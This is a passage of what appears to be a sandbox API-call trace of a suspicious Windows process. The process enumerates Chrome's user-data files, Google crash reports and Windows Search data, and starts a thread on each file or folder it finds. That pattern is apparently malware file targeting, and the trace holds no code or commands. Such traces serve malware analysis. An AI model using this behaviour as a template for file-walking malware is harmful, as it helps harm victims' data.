nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAFEBR~3")) returned 1 [0215.300] wcscmp (_String1="Safe Browsing Channel IDs", _String2=".") returned 1 [0215.300] wcscmp (_String1="Safe Browsing Channel IDs", _String2="..") returned 1 [0215.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4310a8c0 [0215.301] wcscpy (in: _Dest=0x4310a8c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0215.301] wcscat (in: _Dest=0x4310a8c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0215.301] wcscat (in: _Dest=0x4310a8c0, _Source="Safe Browsing Channel IDs" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs" [0215.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4310a8c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c [0215.301] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f94a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAFEBR~4")) returned 1 [0215.301] wcscmp (_String1="Safe Browsing Channel IDs-journal", _String2=".") returned 1 [0215.301] wcscmp (_String1="Safe Browsing Channel IDs-journal", _String2="..") returned 1 [0215.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x43157360 [0215.302] wcscpy (in: _Dest=0x43157360, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0215.302] wcscat (in: _Dest=0x43157360, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0215.302] wcscat (in: _Dest=0x43157360, _Source="Safe Browsing Channel IDs-journal" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal" [0215.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43157360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8 [0215.302] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SAFEBR~1")) returned 1 [0215.302] wcscmp (_String1="Safe Browsing Cookies", _String2=".") returned 1 [0215.303] wcscmp (_String1="Safe Browsing Cookies", _String2="..") returned 1 [0215.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314c460 [0215.303] wcscpy (in: _Dest=0x4314c460, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0215.303] wcscat (in: _Dest=0x4314c460, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0215.303] wcscat (in: _Dest=0x4314c460, _Source="Safe Browsing Cookies" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" [0215.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4314c460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0215.303] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAFEBR~2")) returned 1 [0215.303] wcscmp (_String1="Safe Browsing Cookies-journal", _String2=".") returned 1 [0215.303] wcscmp (_String1="Safe Browsing Cookies-journal", _String2="..") returned 1 [0215.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310c530 [0215.304] wcscpy (in: _Dest=0x4310c530, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0215.304] wcscat (in: _Dest=0x4310c530, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0215.304] wcscat (in: _Dest=0x4310c530, _Source="Safe Browsing Cookies-journal" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal" [0215.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4310c530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0215.304] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0215.304] wcscmp (_String1="SSLErrorAssistant", _String2=".") returned 1 [0215.305] wcscmp (_String1="SSLErrorAssistant", _String2="..") returned 1 [0215.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ec720 [0215.305] wcscpy (in: _Dest=0x431ec720, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0215.305] wcscat (in: _Dest=0x431ec720, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0215.305] wcscat (in: _Dest=0x431ec720, _Source="SSLErrorAssistant" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" [0215.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x431ec720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0215.305] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0215.305] wcscmp (_String1="SwReporter", _String2=".") returned 1 [0215.305] wcscmp (_String1="SwReporter", _String2="..") returned 1 [0215.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce16a80 [0215.306] wcscpy (in: _Dest=0x1ce16a80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0215.306] wcscat (in: _Dest=0x1ce16a80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0215.306] wcscat (in: _Dest=0x1ce16a80, _Source="SwReporter" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" [0215.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ce16a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0215.306] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0215.306] wcscmp (_String1="WidevineCdm", _String2=".") returned 1 [0215.306] wcscmp (_String1="WidevineCdm", _String2="..") returned 1 [0215.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce16b30 [0215.307] wcscpy (in: _Dest=0x1ce16b30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0215.307] wcscat (in: _Dest=0x1ce16b30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0215.307] wcscat (in: _Dest=0x1ce16b30, _Source="WidevineCdm" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" [0215.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ce16b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b34 [0215.307] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0215.307] FindClose (in: hFindFile=0x1cd9d6d0 | out: hFindFile=0x1cd9d6d0) returned 1 [0215.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027f650) returned 1 [0215.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507530) returned 1 [0215.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a46e0) returned 1 [0215.310] FindNextFileW (in: hFindFile=0x1b7ceb20, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0215.310] FindClose (in: hFindFile=0x1b7ceb20 | out: hFindFile=0x1b7ceb20) returned 1 [0215.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1df90) returned 1 [0215.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867940) returned 1 [0215.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866d40) returned 1 Thread: id = 1708 os_tid = 0x69c [0130.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a4260 [0130.945] wcscpy (in: _Dest=0x202a4260, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports" [0130.945] wcscat (in: _Dest=0x202a4260, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\" [0130.945] wcscat (in: _Dest=0x202a4260, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\*" [0130.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e470 [0130.945] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\*", lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce8e0 [0130.946] wcscmp (_String1=".", _String2=".") returned 0 [0130.946] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.946] wcscmp (_String1="..", _String2=".") returned 1 [0130.957] wcscmp (_String1="..", _String2="..") returned 0 [0130.957] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0130.957] FindClose (in: hFindFile=0x1b7ce8e0 | out: hFindFile=0x1b7ce8e0) returned 1 [0130.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e470) returned 1 [0130.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4260) returned 1 [0130.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bd90) returned 1 Thread: id = 1709 os_tid = 0x4a0 [0130.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b867040 [0130.964] wcscpy (in: _Dest=0x1b867040, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" [0130.965] wcscat (in: _Dest=0x1b867040, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0130.965] wcscat (in: _Dest=0x1b867040, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\*") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\*" [0130.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e470 [0130.965] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\*", lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce8e0 [0130.968] wcscmp (_String1=".", _String2=".") returned 0 [0130.968] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.968] wcscmp (_String1="..", _String2=".") returned 1 [0130.968] wcscmp (_String1="..", _String2="..") returned 0 [0130.968] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config", cAlternateFileName="")) returned 1 [0130.968] wcscmp (_String1="Config", _String2=".") returned 1 [0130.968] wcscmp (_String1="Config", _String2="..") returned 1 [0130.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85bd90 [0130.968] wcscpy (in: _Dest=0x1b85bd90, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" [0130.969] wcscat (in: _Dest=0x1b85bd90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0130.969] wcscat (in: _Dest=0x1b85bd90, _Source="Config" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config" [0150.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85bd90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe60 [0150.939] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GatherLogs", cAlternateFileName="GATHER~1")) returned 1 [0150.939] wcscmp (_String1="GatherLogs", _String2=".") returned 1 [0150.939] wcscmp (_String1="GatherLogs", _String2="..") returned 1 [0150.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad2a0 [0150.939] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" [0150.939] wcscat (in: _Dest=0x1b7ad2a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0150.939] wcscat (in: _Dest=0x1b7ad2a0, _Source="GatherLogs" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs" [0150.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ad2a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2314 [0150.940] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29612a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSS.chk", cAlternateFileName="")) returned 1 [0150.940] wcscmp (_String1="MSS.chk", _String2=".") returned 1 [0150.940] wcscmp (_String1="MSS.chk", _String2="..") returned 1 [0150.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202ae770 [0150.941] wcscpy (in: _Dest=0x202ae770, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" [0150.941] wcscat (in: _Dest=0x202ae770, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0150.941] wcscat (in: _Dest=0x202ae770, _Source="MSS.chk" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk" [0150.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2318 [0150.942] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x295a0600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x295a0600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, 